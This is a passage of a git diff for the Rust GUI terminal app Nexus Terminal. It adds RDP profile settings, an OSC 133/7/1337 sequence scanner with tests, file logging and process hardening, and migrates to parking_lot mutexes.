+            None => self.texture = Some(ui.ctx().load_texture(format!("desktop-{}", self.session), img, egui::TextureOptions::LINEAR)),
         }
     }
 
@@ -262,8 +413,8 @@ impl VncView {
                         if widgets::icon_button(ui, g, tip).clicked() {
                             self.scale_to_fit = !self.scale_to_fit;
                         }
-                        if widgets::icon_button(ui, icon::ARROW_CLOCKWISE, "Refresh the screen").clicked()
-                            && let Some(c) = &self.client
+                        if let Some(Remote::Vnc(c)) = &self.client
+                            && widgets::icon_button(ui, icon::ARROW_CLOCKWISE, "Refresh the screen").clicked()
                         {
                             let _ = c.request_full_update();
                         }
@@ -292,12 +443,15 @@ impl VncView {
 
     fn draw(&mut self, ui: &mut Ui, s: &mut Shared, tex: &TextureHandle, img: Rect) {
         ui.painter().image(tex.id(), img, Rect::from_min_max(Pos2::ZERO, Pos2::new(1.0, 1.0)), egui::Color32::WHITE);
-        let id = egui::Id::new(("vnc-input", &self.session));
+        let id = egui::Id::new(("desktop-input", &self.session));
         let resp = ui.interact(img, id, Sense::click_and_drag());
         if resp.clicked() || resp.drag_started() || resp.secondary_clicked() || resp.middle_clicked() {
             resp.request_focus();
         }
         let focused = resp.has_focus();
+        // The local clipboard goes to the remote desktop only on an explicit paste (Ctrl/Cmd+V or
+        // Paste Clipboard). Offering it whenever the desktop gained focus let any server read
+        // whatever was last copied (a password, a token) without the user pasting anything.
         if focused {
             ui.painter().rect_stroke(img, 0.0, egui::Stroke::new(1.0, Tokens::get(ui.ctx()).accent.gamma_multiply(0.6)), egui::StrokeKind::Outside);
             ui.memory_mut(|m| m.set_focus_lock_filter(id, egui::EventFilter { tab: true, horizontal_arrows: true, vertical_arrows: true, escape: true }));
@@ -328,7 +482,7 @@ impl VncView {
         let buttons = if resp.hovered() || resp.dragged() || self.buttons != 0 { button_mask(left, middle, right) } else { 0 };
         let at = to_remote(pos, img, self.fb_size);
         if at != self.last_pos || buttons != self.buttons {
-            let _ = c.pointer(at.0, at.1, buttons);
+            c.pointer(at.0, at.1, buttons);
             self.last_pos = at;
             self.buttons = buttons;
         }
@@ -336,8 +490,8 @@ impl VncView {
             self.wheel += scroll;
             while self.wheel.abs() >= 1.0 {
                 let bit = if self.wheel > 0.0 { 1 << 3 } else { 1 << 4 };
-                let _ = c.pointer(at.0, at.1, buttons | bit);
-                let _ = c.pointer(at.0, at.1, buttons);
+                c.pointer(at.0, at.1, buttons | bit);
+                c.pointer(at.0, at.1, buttons);
                 self.wheel -= self.wheel.signum();
             }
         }
@@ -394,6 +548,20 @@ mod tests {
         assert_eq!(modifier_syms(Modifiers::CTRL | Modifiers::SHIFT), vec![XK_SHIFT, XK_CONTROL]);
     }
 
+    #[test]
+    fn keysyms_map_to_rdp_input() {
+        let sc = |ext, code| format!("{:?}", Some(Operation::KeyPressed(Scancode::from_u8(ext, code))));
+        let k = |sym, down, chord| format!("{:?}", rdp_key(sym, down, chord));
+        assert_eq!(k(0xff0d, true, false), sc(false, 0x1c), "Enter");
+        assert_eq!(k(0xff51, true, false), sc(true, 0x4b), "Left is extended");
+        assert_eq!(k(0xffc9, true, false), sc(false, 0x58), "F12");
+        assert_eq!(k(XK_DELETE, true, false), sc(true, 0x53));
+        assert_eq!(k(u32::from(b'c'), true, false), format!("{:?}", Some(Operation::UnicodeKeyPressed('c'))), "typed text is Unicode");
+        assert_eq!(k(u32::from(b'c'), true, true), sc(false, 0x2e), "Ctrl+C sends the C scancode");
+        assert_eq!(k(u32::from(b'1'), false, true), format!("{:?}", Some(Operation::KeyReleased(Scancode::from_u8(false, 0x02)))));
+        assert_eq!(k(0x0100_20ac, true, false), format!("{:?}", Some(Operation::UnicodeKeyPressed('€'))));
+    }
+
     #[test]
     fn pointer_mapping() {
         assert_eq!(button_mask(true, false, true), 0b101);

rust/app/src/forwards.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Port forwards dialog for a live SSH session: list, stop, add.
 
 use crate::chrome::modal;
@@ -7,7 +10,8 @@ use crate::widgets;
 use egui::{Align, Key, Layout, RichText};
 use egui_phosphor::regular as icon;
 use nexus_core::models::{ForwardDirection, PortForward, new_id};
-use std::sync::{Arc, Mutex};
+use parking_lot::Mutex;
+use std::sync::Arc;
 
 struct Form {
     remote: bool,
@@ -49,7 +53,7 @@ impl Forwards {
     }
 
     pub fn ui(&mut self, ctx: &egui::Context, s: &mut Shared) {
-        for started in std::mem::take(&mut *self.done.lock().unwrap()) {
+        for started in std::mem::take(&mut *self.done.lock()) {
             if started {
                 s.success("Forward started");
                 self.form.bind_port.clear();
@@ -72,7 +76,7 @@ impl Forwards {
             }
         };
         let t = Tokens::get(ctx);
-        let mut keep = !ctx.input(|i| i.key_pressed(Key::Escape));
+        let mut keep = !crate::chrome::modal_key(ctx, Key::Escape);
         let mut stop = None;
         let mut start = false;
         let f = &mut self.form;
@@ -131,7 +135,7 @@ impl Forwards {
 
         if let Some(id) = stop {
             let (svc, sid, done) = (s.svc.clone(), sid.clone(), self.done.clone());
-            s.spawn(move || svc.sessions.stop_forward(&sid, &id).map_err(|e| format!("Failed to stop: {e}").into()), move |_| done.lock().unwrap().push(false));
+            s.spawn(move || svc.sessions.stop_forward(&sid, &id).map_err(|e| format!("Failed to stop: {e}").into()), move |_| done.lock().push(false));
         }
         if start {
             let f = &self.form;
@@ -153,7 +157,7 @@ impl Forwards {
                     let (svc, done) = (s.svc.clone(), self.done.clone());
                     s.spawn(
                         move || svc.sessions.start_forward(&sid, rule).map_err(|e| format!("Failed to start forward: {e}").into()),
-                        move |_| done.lock().unwrap().push(true),
+                        move |_| done.lock().push(true),
                     );
                 }
                 _ => s.error("Bind port and destination port are required"),

rust/app/src/github_view.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! GitHub repository browser: owner groups of repo cards with ZIP download and Visit. Port of
 //! `github.js`.
 
@@ -8,7 +11,8 @@ use chrono::{DateTime, Utc};
 use egui::{Color32, RichText, Sense, Ui, vec2};
 use egui_phosphor::regular as icon;
 use nexus_core::models::GitHubRepo;
-use std::sync::{Arc, Mutex};
+use parking_lot::Mutex;
+use std::sync::Arc;
 
 enum Msg {
     Repos(Vec<GitHubRepo>),
@@ -175,7 +179,7 @@ impl GithubView {
                 Ok(r) => Msg::Repos(r),
                 Err(e) => Msg::RefreshFailed(e.to_string()),
             };
-            inbox.lock().unwrap().push(msg);
+            inbox.lock().push(msg);
             ctx.request_repaint();
         });
     }
@@ -193,13 +197,13 @@ impl GithubView {
                 Ok(()) => Msg::Downloaded(full, path.display().to_string()),
                 Err(e) => Msg::DownloadFailed(e.to_string()),
             };
-            inbox.lock().unwrap().push(msg);
+            inbox.lock().push(msg);
             ctx.request_repaint();
         });
     }
 
     pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) {
-        let msgs = std::mem::take(&mut *self.inbox.lock().unwrap());
+        let msgs = std::mem::take(&mut *self.inbox.lock());
         for m in msgs {
             match m {
                 Msg::Repos(r) => {
@@ -268,7 +272,11 @@ impl GithubView {
         });
         match action {
             Some(Action::Zip(r)) => self.download(s, &r),
-            Some(Action::Visit(url)) if !url.is_empty() => ui.ctx().open_url(egui::OpenUrl::new_tab(url)),
+            Some(Action::Visit(url)) if !url.is_empty() => {
+                if !widgets::open_web_url(ui.ctx(), &url) {
+                    s.error("The repository link is not a web address");
+                }
+            }
             Some(Action::Copy(url)) => {
                 ui.ctx().copy_text(url);
                 s.info("URL copied");

rust/app/src/irc_view.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! IRC client view: room tabs, message log, composer and room/user lists. Port of `irc.js`;
 //! lines are `ircformat::format_event` spans drawn in the terminal theme's colours.
 
@@ -16,6 +19,9 @@ use std::sync::Arc;
 
 const SERVER: &str = "server";
 const MAX_LINES: usize = 2000;
+/// Open conversations; past this the oldest idle query is dropped, so a flood of messages from
+/// unique nicks can't grow the view without bound.
+const MAX_TARGETS: usize = 200;
 const SIDEBAR_W: f32 = 230.0;
 
 struct Line {
@@ -172,6 +178,15 @@ impl IrcView {
         let i = match self.targets.iter().position(|t| t.name == name) {
             Some(i) => i,
             None => {
+                if self.targets.len() >= MAX_TARGETS {
+                    // ponytail: evicts the oldest-opened idle target, not least-recently-used.
+                    let (active, joined) = (&self.active, &self.joined);
+                    if let Some(i) = self.targets.iter().position(|t| t.name != SERVER && t.name != *active && !joined.iter().any(|r| r.name == t.name)) {
+                        let gone = self.targets.remove(i);
+                        self.unread.remove(&gone.name);
+                        self.users.remove(&gone.name);
+                    }
+                }
                 self.targets.push(Target { name: name.into(), lines: VecDeque::new() });
                 self.targets.len() - 1
             }

rust/app/src/main.rs

@@ -1,16 +1,22 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Nexus Terminal: SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminals in one
 //! native window. `nexus-terminal [--theme pro|midnight|light] [--screenshot out.png] [--size WxH]`.
 #![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
 
 mod app;
 mod chrome;
+mod desktop_view;
 mod forwards;
 mod github_view;
 mod irc_view;
+mod osc;
 mod profile_editor;
 mod quick_connect;
 mod raw_view;
 mod recordings;
+mod restore;
 mod settings;
 mod sftp;
 mod sidebar;
@@ -25,7 +31,6 @@ mod theme;
 mod transfer;
 mod triggers;
 mod views;
-mod vnc_view;
 mod widgets;
 
 use nexus_core::config::AppConfig;
@@ -33,6 +38,17 @@ use nexus_core::service::Service;
 use std::sync::Arc;
 
 fn main() -> eframe::Result {
+    harden_process();
+    // A panic on a worker thread (a session's reader, a transfer) ends only that thread; say so in
+    // the UI rather than letting the session just stop.
+    let default_hook = std::panic::take_hook();
+    std::panic::set_hook(Box::new(move |info| {
+        default_hook(info);
+        let what =
+            info.payload().downcast_ref::<&str>().copied().or_else(|| info.payload().downcast_ref::<String>().map(String::as_str)).unwrap_or("unknown error");
+        let thread = std::thread::current().name().unwrap_or("worker").to_string();
+        app::post_error_nonblocking(format!("Internal error in {thread} thread: {what}. Other sessions are unaffected; reconnect the affected one."));
+    }));
     let mut opts = app::Options {
         screenshot: None,
         theme: None,
@@ -73,17 +89,29 @@ fn main() -> eframe::Result {
             }
             _ => {
                 println!(
-                    "usage: nexus-terminal [--theme pro|midnight|light] [--data-dir DIR] [--connect NAME]... [--open WINDOW] [--do PALETTE-COMMAND]... [--answer SECRET]... [--shot-delay MS] [--run-local CMD] [--screenshot out.png] [--size WxH] [--version]"
+                    "usage: nexus-terminal [--theme pro|midnight|light] [--data-dir DIR] [--connect NAME]... [--open WINDOW] [--do PALETTE-COMMAND]... [--answer SECRET]... (or NEXUS_ANSWERS=one-per-line) [--shot-delay MS] [--run-local CMD] [--screenshot out.png] [--size WxH] [--version]"
                 );
                 return Ok(());
             }
         }
     }
+    // Automation answers: prefer NEXUS_ANSWERS (one per line), which stays out of the process list
+    // and shell history; it's removed so local shells don't inherit it.
+    if let Ok(v) = std::env::var("NEXUS_ANSWERS") {
+        opts.answers.extend(v.lines().map(String::from));
+        // SAFETY: still single-threaded here; no other thread can be reading the environment.
+        unsafe { std::env::remove_var("NEXUS_ANSWERS") };
+    }
+    // They answer every credential prompt in order (and --answer is visible in the process list),
+    // so they're only honoured for screenshot runs.
+    if !opts.answers.is_empty() && opts.screenshot.is_none() {
+        eprintln!("--answer/NEXUS_ANSWERS only work together with --screenshot (they auto-fill credential prompts)");
+        std::process::exit(2);
+    }
     let config = match data_dir {
         Some(d) => {
             let c = AppConfig::in_dir(d.into());
-            std::fs::create_dir_all(&c.vault_dir).ok();
-            Ok(c)
+            nexus_core::config::create_private_dir(&c.data_dir).and_then(|_| nexus_core::config::create_private_dir(&c.vault_dir)).map(|_| c)
         }
         None => AppConfig::load(),
     };
@@ -95,6 +123,8 @@ fn main() -> eframe::Result {
             std::process::exit(1);
         }
     };
+    init_logging(&svc.config.data_dir);
+    tracing::info!(version = nexus_core::service::VERSION, "starting");
     let headless = opts.screenshot.is_some();
     let native = eframe::NativeOptions {
         persist_window: !headless,
@@ -120,3 +150,39 @@ fn window_icon() -> egui::IconData {
     let img = image::load_from_memory(chrome::LOGO_PNG).map(|i| i.to_rgba8()).unwrap_or_default();
     egui::IconData { width: img.width(), height: img.height(), rgba: img.into_raw() }
 }
+
+/// Diagnostics go to `nexus.log` in the data directory (rotated at 5 MiB), and to stderr too when
+/// RUST_LOG is set. RUST_LOG also sets the level (default: info for Nexus, warn for libraries).
+/// Connection lifecycle, host-key checks and errors are logged; credentials and terminal data never.
+fn init_logging(data_dir: &std::path::Path) {
+    use tracing_subscriber::prelude::*;
+    let path = data_dir.join("nexus.log");
+    if std::fs::metadata(&path).is_ok_and(|m| m.len() > 5 << 20) {
+        let _ = std::fs::rename(&path, data_dir.join("nexus.log.1"));
+    }
+    let mut opts = std::fs::OpenOptions::new();
+    opts.create(true).append(true);
+    #[cfg(unix)]
+    std::os::unix::fs::OpenOptionsExt::mode(&mut opts, 0o600);
+    let file = opts.open(&path).ok().map(|f| tracing_subscriber::fmt::layer().with_ansi(false).with_writer(std::sync::Mutex::new(f)));
+    let stderr = std::env::var_os("RUST_LOG").map(|_| tracing_subscriber::fmt::layer().with_writer(std::io::stderr));
+    let filter = tracing_subscriber::EnvFilter::try_from_default_env()
+        .unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("warn,nexus_terminal=info,nexus_core=info"));
+    let _ = tracing_subscriber::registry().with(filter).with(file).with(stderr).try_init();
+}
+
+/// Release builds keep secrets out of core dumps and away from same-user debuggers: no core
+/// files, and on Linux the process is non-dumpable (also blocks ptrace attach by other processes
+/// of the same user). Debug builds skip this so they can still be debugged.
+fn harden_process() {
+    #[cfg(unix)]
+    if !cfg!(debug_assertions) {
+        // SAFETY: plain syscalls on this process with valid arguments; failure is harmless.
+        unsafe {
+            let none = libc::rlimit { rlim_cur: 0, rlim_max: 0 };
+            libc::setrlimit(libc::RLIMIT_CORE, &none);
+            #[cfg(target_os = "linux")]
+            libc::prctl(libc::PR_SET_DUMPABLE, 0, 0, 0, 0);
+        }
+    }
+}

rust/app/src/osc.rs

@@ -0,0 +1,185 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
+//! Finds the OSC sequences the VT parser ignores but Nexus uses: OSC 133 (shell integration
+//! marks: prompt, command, output, finished with exit status) and OSC 7 (the shell's working
+//! directory). Sequences may be split across reads, so the scanner keeps state between chunks.
+
+#[derive(Debug, PartialEq)]
+pub enum Osc {
+    /// 133;A — a prompt starts.
+    Prompt,
+    /// 133;C — the command's output starts.
+    Output,
+    /// 133;D[;status] — the command finished.
+    Finished(Option<i32>),
+    /// 7;file://host/path
+    Cwd { host: String, path: String },
+    /// 1337;File=…;inline=1:<base64> (iTerm2 inline image): the decoded file bytes and the
+    /// requested width/height arguments (cells, `Npx`, `N%` or `auto`).
+    Image { data: Vec<u8>, width: String, height: String },
+}
+
+/// Longest OSC body collected; longer ones (not ours) are dropped.
+const MAX_OSC: usize = 4096;
+/// Inline images are bigger: up to 16 MiB of base64.
+const MAX_IMAGE_OSC: usize = 16 << 20;
+const IMAGE_PREFIX: &[u8] = b"1337;File=";
+
+fn limit(body: &[u8]) -> usize {
+    if body.len() >= IMAGE_PREFIX.len() && body.starts_with(IMAGE_PREFIX) { MAX_IMAGE_OSC } else { MAX_OSC }
+}
+
+#[derive(Default)]
+enum State {
+    #[default]
+    Idle,
+    Esc,
+    Body(Vec<u8>),
+    BodyEsc(Vec<u8>),
+}
+
+#[derive(Default)]
+pub struct OscScanner {
+    state: State,
+}
+
+impl OscScanner {
+    /// The sequences that complete in `bytes`, each with the offset just past its terminator.
+    pub fn scan(&mut self, bytes: &[u8]) -> Vec<(usize, Osc)> {
+        let mut out = Vec::new();
+        let mut i = 0;
+        while i < bytes.len() {
+            let state = std::mem::take(&mut self.state);
+            self.state = match state {
+                State::Idle => match bytes[i..].iter().position(|&b| b == 0x1b) {
+                    Some(p) => {
+                        i += p;
+                        State::Esc
+                    }
+                    None => {
+                        i = bytes.len();
+                        State::Idle
+                    }
+                },
+                State::Esc if bytes[i] == b']' => State::Body(Vec::new()),
+                State::Esc => State::Idle,
+                State::Body(mut b) => match bytes[i] {
+                    0x07 => {
+                        if let Some(osc) = parse(&b) {
+                            out.push((i + 1, osc));
+                        }
+                        State::Idle
+                    }
+                    0x1b => State::BodyEsc(b),
+                    c if b.len() < limit(&b) => {
+                        b.push(c);
+                        State::Body(b)
+                    }
+                    _ => State::Idle,
+                },
+                State::BodyEsc(b) if bytes[i] == b'\\' => {
+                    if let Some(osc) = parse(&b) {
+                        out.push((i + 1, osc));
+                    }
+                    State::Idle
+                }
+                // An ESC that doesn't end the OSC starts a new sequence.
+                State::BodyEsc(_) => {
+                    // Re-examine this byte as the one after an ESC.
+                    self.state = State::Esc;
+                    continue;
+                }
+            };
+            i += 1;
+        }
+        out
+    }
+}
+
+fn parse(body: &[u8]) -> Option<Osc> {
+    let s = std::str::from_utf8(body).ok()?;
+    if let Some(rest) = s.strip_prefix("133;") {
+        let mut parts = rest.split(';');
+        return match parts.next()? {
+            "A" => Some(Osc::Prompt),
+            "C" => Some(Osc::Output),
+            "D" => Some(Osc::Finished(parts.next().and_then(|c| c.parse().ok()))),
+            _ => None,
+        };
+    }
+    if let Some(rest) = s.strip_prefix("1337;File=") {
+        let (args, data) = rest.split_once(':')?;
+        let arg = |k: &str| args.split(';').find_map(|a| a.strip_prefix(k)?.strip_prefix('=')).map(str::to_string);
+        if arg("inline").as_deref() != Some("1") {
+            return None;
+        }
+        use base64::Engine;
+        let data = base64::engine::general_purpose::STANDARD.decode(data.trim()).ok()?;
+        return Some(Osc::Image { data, width: arg("width").unwrap_or_default(), height: arg("height").unwrap_or_default() });
+    }
+    let url = s.strip_prefix("7;")?.strip_prefix("file://")?;
+    let (host, path) = url.split_at(url.find('/')?);
+    Some(Osc::Cwd { host: host.into(), path: percent_decode(path) })
+}
+
+fn percent_decode(s: &str) -> String {
+    let b = s.as_bytes();
+    let mut out = Vec::with_capacity(b.len());
+    let mut i = 0;
+    while i < b.len() {
+        match (b[i], b.get(i + 1..i + 3).and_then(|h| u8::from_str_radix(std::str::from_utf8(h).ok()?, 16).ok())) {
+            (b'%', Some(v)) => {
+                out.push(v);
+                i += 3;
+            }
+            (c, _) => {
+                out.push(c);
+                i += 1;
+            }
+        }
+    }
+    String::from_utf8_lossy(&out).into_owned()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn finds_marks_and_cwd_even_when_split() {
+        let stream = b"hi\x1b]133;A\x07$ ls\x1b]133;C\x1b\\file\x1b]133;D;2\x07\x1b]7;file://box/home/me/My%20Dir\x07\x1b]0;title\x07\x1b[31mred";
+        let whole = OscScanner::default().scan(stream);
+        let want = [Osc::Prompt, Osc::Output, Osc::Finished(Some(2)), Osc::Cwd { host: "box".into(), path: "/home/me/My Dir".into() }];
+        assert_eq!(whole.iter().map(|(_, o)| o).collect::<Vec<_>>(), want.iter().collect::<Vec<_>>());
+        assert_eq!(whole[0].0, 10, "offset is just past the terminator");
+        // Byte by byte gives the same sequences at the same absolute offsets.
+        let mut s = OscScanner::default();
+        let mut split = vec![];
+        for (i, b) in stream.iter().enumerate() {
+            split.extend(s.scan(std::slice::from_ref(b)).into_iter().map(|(end, o)| (i + end, o)));
+        }
+        assert_eq!(split, whole);
+        // Unterminated and oversized bodies don't leak into later output.
+        let mut s = OscScanner::default();
+        let mut long = b"\x1b]133;A".to_vec();
+        long.extend(std::iter::repeat_n(b'x', MAX_OSC + 10));
+        long.extend(b"\x07\x1b]133;D\x07");
+        assert_eq!(s.scan(&long).into_iter().map(|(_, o)| o).collect::<Vec<_>>(), vec![Osc::Finished(None)]);
+    }
+
+    #[test]
+    fn inline_images_need_inline_1_and_valid_base64() {
+        let img = |args: &str, data: &str| {
+            let seq = format!("\x1b]1337;File={args}:{data}\x07");
+            OscScanner::default().scan(seq.as_bytes()).into_iter().map(|(_, o)| o).collect::<Vec<_>>()
+        };
+        assert_eq!(img("name=eA==;width=10;inline=1", "aGk="), vec![Osc::Image { data: b"hi".to_vec(), width: "10".into(), height: String::new() }]);
+        assert!(img("inline=0", "aGk=").is_empty(), "downloads (inline=0) are ignored");
+        assert!(img("inline=1", "!!!").is_empty());
+        // A large image body is collected, past the 4 KiB cap for other OSCs.
+        use base64::Engine;
+        let big = base64::engine::general_purpose::STANDARD.encode(vec![7u8; 100_000]);
+        assert!(matches!(&img("inline=1", &big)[..], [Osc::Image { data, .. }] if data.len() == 100_000));
+    }
+}

rust/app/src/profile_editor.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Profile editor (right dock): create and edit every protocol's settings. A port of the
 //! `profiles.js` drawer plus the Serial protocol. Switching protocol keeps the common fields
 //! (including the group), and list editors keep unsaved edits.
@@ -10,10 +13,12 @@ use egui_phosphor::regular as icon;
 use nexus_core::clients::serial;
 use nexus_core::keyfiles;
 use nexus_core::models::*;
+use nexus_core::secrets::SecretKind;
 use nexus_core::validation::{ValidationError, validate_profile};
+use parking_lot::Mutex;
 use std::collections::{BTreeMap, HashMap};
 use std::path::Path;
-use std::sync::{Arc, Mutex};
+use std::sync::Arc;
 
 type KeyChecks = HashMap<String, Result<&'static str, &'static str>>;
 
@@ -27,7 +32,7 @@ pub struct ProfileEditor {
     rooms: String,
     /// Secrets typed into the editor, by session-manager kind ("password", "github-token", …);
     /// stored when the profile is saved.
-    secrets: BTreeMap<&'static str, String>,
+    secrets: BTreeMap<SecretKind, String>,
     totp: String,
     totp_show: bool,
     totp_saved: bool,
@@ -154,6 +159,9 @@ impl ProfileEditor {
         if proto != Protocol::Vnc {
             p.vnc = None;
         }
+        if proto != Protocol::Rdp {
+            p.rdp = None;
+        }
         if proto != Protocol::Irc {
             p.irc = None;
         }
@@ -184,7 +192,7 @@ impl ProfileEditor {
     /// Drawn inside the right dock while open.
     pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) {
         let t = Tokens::get(ui.ctx());
-        if let Some(r) = self.test.lock().unwrap().take() {
+        if let Some(r) = self.test.lock().take() {
             self.testing = false;
             match r {
                 Ok(ms) => s.success(format!("Reachable — {ms} ms")),
@@ -221,6 +229,7 @@ impl ProfileEditor {
                 Protocol::Raw => self.raw(ui, &errs),
                 Protocol::Github => self.github(ui, &errs),
                 Protocol::Vnc => self.vnc(ui, &errs),
+                Protocol::Rdp => self.rdp(ui, &errs),
                 Protocol::Irc => self.irc(ui, &errs),
                 Protocol::Serial => self.serial(ui, &errs),
                 Protocol::Local => {}
@@ -309,9 +318,9 @@ impl ProfileEditor {
             Ok(saved) => {
                 for (kind, v) in &self.secrets {
                     if !v.is_empty()
-                        && let Err(e) = s.svc.set_profile_secret(&saved.id, kind, v)
+                        && let Err(e) = s.svc.set_profile_secret(&saved.id, *kind, v)
                     {
-                        s.error(format!("Couldn't store the {kind} secret: {e}"));
+                        s.error(format!("Couldn't store the {} secret: {e}", kind.as_str()));
                     }
                 }
                 s.success(if self.is_new { "Profile created" } else { "Profile updated" });
@@ -336,7 +345,7 @@ impl ProfileEditor {
         let (slot, svc, ctx) = (self.test.clone(), s.svc.clone(), s.ctx.clone());
         std::thread::spawn(move || {
             let r = svc.test_connection(&host, port).map_err(|e| e.to_string());
-            *slot.lock().unwrap() = Some(r);
+            *slot.lock() = Some(r);
             ctx.request_repaint();
         });
     }
@@ -386,7 +395,7 @@ impl ProfileEditor {
         section(ui, "Authentication", |ui| {
             mode(ui, "Password Mode", &mut c.secret_mode);
             if c.secret_mode == SecretMode::Saved {
-                secret(ui, "Password", secrets, "password", "Leave blank to keep the saved password");
+                secret(ui, "Password", secrets, SecretKind::Password, "Leave blank to keep the saved password");
             }
             label(ui, "Auth Methods");
             ui.horizontal_wrapped(|ui| {
@@ -409,7 +418,7 @@ impl ProfileEditor {
             widgets::hint(ui, "Select a key from your .ssh folder or type a full path");
             mode(ui, "Passphrase Mode", &mut c.key_secret_mode);
             if c.key_secret_mode == SecretMode::Saved {
-                secret(ui, "Passphrase", secrets, "passphrase", "Leave blank to keep the saved passphrase");
+                secret(ui, "Passphrase", secrets, SecretKind::Passphrase, "Leave blank to keep the saved passphrase");
             }
         });
         section(ui, "Host Verification", |ui| {
@@ -526,7 +535,7 @@ impl ProfileEditor {
                         *totp_saved = false;
                         s.info("TOTP secret removed.");
                     } else {
-                        match s.svc.set_profile_secret(&id, "totp", &v) {
+                        match s.svc.set_profile_secret(&id, SecretKind::Totp, &v) {
                             Ok(()) => {
                                 totp.clear();
                                 *totp_saved = true;
@@ -549,8 +558,7 @@ impl ProfileEditor {
                 text(ui, "Proxy Host", &mut c.proxy_host, "proxy.example.com");
                 num(ui, "Proxy Port", &mut c.proxy_port, 1..=65535);
                 text(ui, "Proxy Username", &mut c.proxy_username, "Optional");
-                label(ui, "Proxy Password");
-                ui.add(TextEdit::singleline(&mut c.proxy_password).password(true).hint_text("Optional").desired_width(f32::INFINITY));
+                secret(ui, "Proxy Password", secrets, SecretKind::ProxyPassword, "Optional; leave blank to keep the saved password");
             }
         });
         section(ui, "Advanced", |ui| {
@@ -626,7 +634,7 @@ impl ProfileEditor {
             err(ui, errs, "github.baseURL");
             mode(ui, "Token Storage", &mut c.secret_mode);
             if c.secret_mode == SecretMode::Saved {
-                secret(ui, "Personal Access Token", secrets, "github-token", "Leave blank to keep the saved token");
+                secret(ui, "Personal Access Token", secrets, SecretKind::GithubToken, "Leave blank to keep the saved token");
             }
         });
         section(ui, "Refresh", |ui| {
@@ -645,7 +653,7 @@ impl ProfileEditor {
             err(ui, errs, "vnc.vncPort");
             mode(ui, "Password Storage", &mut c.secret_mode);
             if c.secret_mode == SecretMode::Saved {
-                secret(ui, "VNC Password", secrets, "vnc-password", "Leave blank to keep the saved password");
+                secret(ui, "VNC Password", secrets, SecretKind::VncPassword, "Leave blank to keep the saved password");
             }
         });
         section(ui, "Display", |ui| {
@@ -677,6 +685,110 @@ impl ProfileEditor {
         });
     }
 
+    fn rdp(&mut self, ui: &mut Ui, errs: &[ValidationError]) {
+        let Self { p, keys, key_checks, secrets, .. } = self;
+        let c = p.rdp.get_or_insert_with(RdpConfig::defaults);
+        section(ui, "RDP", |ui| {
+            text(ui, "Domain", &mut c.domain, "Optional (e.g. CORP)");
+            mode(ui, "Password Storage", &mut c.secret_mode);
+            if c.secret_mode == SecretMode::Saved {
+                secret(ui, "Password", secrets, SecretKind::RdpPassword, "Leave blank to keep the saved password");
+            }
+            text(ui, "Kerberos KDC", &mut c.kerberos_kdc, "kdc.corp.example (empty: NTLM)");
+            let opts: Vec<_> = HostKeyPolicy::ALL.iter().map(|k| (*k, k.label())).collect();
+            combo(ui, "Certificate Policy", &mut c.host_key_policy, &opts);
+            check(
+                ui,
+                "Allow servers without NLA",
+                &mut c.allow_tls_only,
+                "Plain TLS logon, e.g. xrdp. Less secure: the session is set up before you authenticate.",
+            );
+        });
+        section(ui, "Devices", |ui| {
+            check(ui, "Play Remote Audio", &mut c.audio, "");
+            check(ui, "Redirect Printer", &mut c.redirect_printer, "Adds a \"Nexus Terminal\" printer; jobs are saved as PostScript files in Downloads");
+            if cfg!(unix) {
+                label(ui, "Shared Folder");
+                ui.horizontal(|ui| {
+                    if widgets::button(ui, icon::FOLDER_OPEN, "Choose…").clicked()
+                        && let Some(dir) = rfd::FileDialog::new().set_title("Folder to share with the remote desktop").pick_folder()
+                    {
+                        c.shared_folder = dir.to_string_lossy().into_owned();
+                    }
+                    if !c.shared_folder.is_empty() && ui.button("Stop Sharing").clicked() {
+                        c.shared_folder.clear();
+                    }
+                });
+                err(ui, errs, "rdp.sharedFolder");
+                widgets::hint(
+                    ui,
+                    &if c.shared_folder.is_empty() {
+                        "Nothing is shared.".to_string()
+                    } else {
+                        format!(
+                            "{} appears on the remote desktop as a drive named Nexus; the server can read and change everything in it, and nothing outside it.",
+                            c.shared_folder
+                        )
+                    },
+                );
+            }
+        });
+        section(ui, "Display", |ui| {
+            check(ui, "Scale to Fit", &mut c.scale_to_fit, "");
+            num(ui, "Width (0 = fit tab)", &mut c.width, 0..=8192);
+            err(ui, errs, "rdp.width");
+            num(ui, "Height (0 = fit tab)", &mut c.height, 0..=8192);
+            err(ui, errs, "rdp.height");
+            if c.width == 0 {
+                check(ui, "Resize With Tab", &mut c.dynamic_resolution, "Ask the server to match the tab's size as it changes");
+            }
+        });
+        section(ui, "RD Gateway", |ui| {
+            text(ui, "Gateway", &mut c.gateway_host, "gateway.example.com (empty: none)");
+            err(ui, errs, "rdp.gatewayHost");
+            if !c.gateway_host.trim().is_empty() {
+                text(ui, "Gateway Username", &mut c.gateway_username, "DOMAIN\\user");
+                err(ui, errs, "rdp.gatewayUsername");
+                mode(ui, "Gateway Password Storage", &mut c.gateway_secret_mode);
+                if c.gateway_secret_mode == SecretMode::Saved {
+                    secret(ui, "Gateway Password", secrets, SecretKind::RdpGatewayPassword, "Leave blank to keep the saved password");
+                }
+                widgets::hint(ui, "Experimental: gateways that accept Basic authentication over HTTPS (the gateway's certificate is verified).");
+            }
+        });
+        section(ui, "Proxy", |ui| {
+            combo_s(ui, "Proxy Type", &mut c.proxy_type, &[("none", "None (direct connection)"), ("socks5", "SOCKS5"), ("http", "HTTP CONNECT")]);
+            err(ui, errs, "rdp.proxyType");
+            if c.proxy_type != "none" {
+                text(ui, "Proxy Host", &mut c.proxy_host, "proxy.example.com");
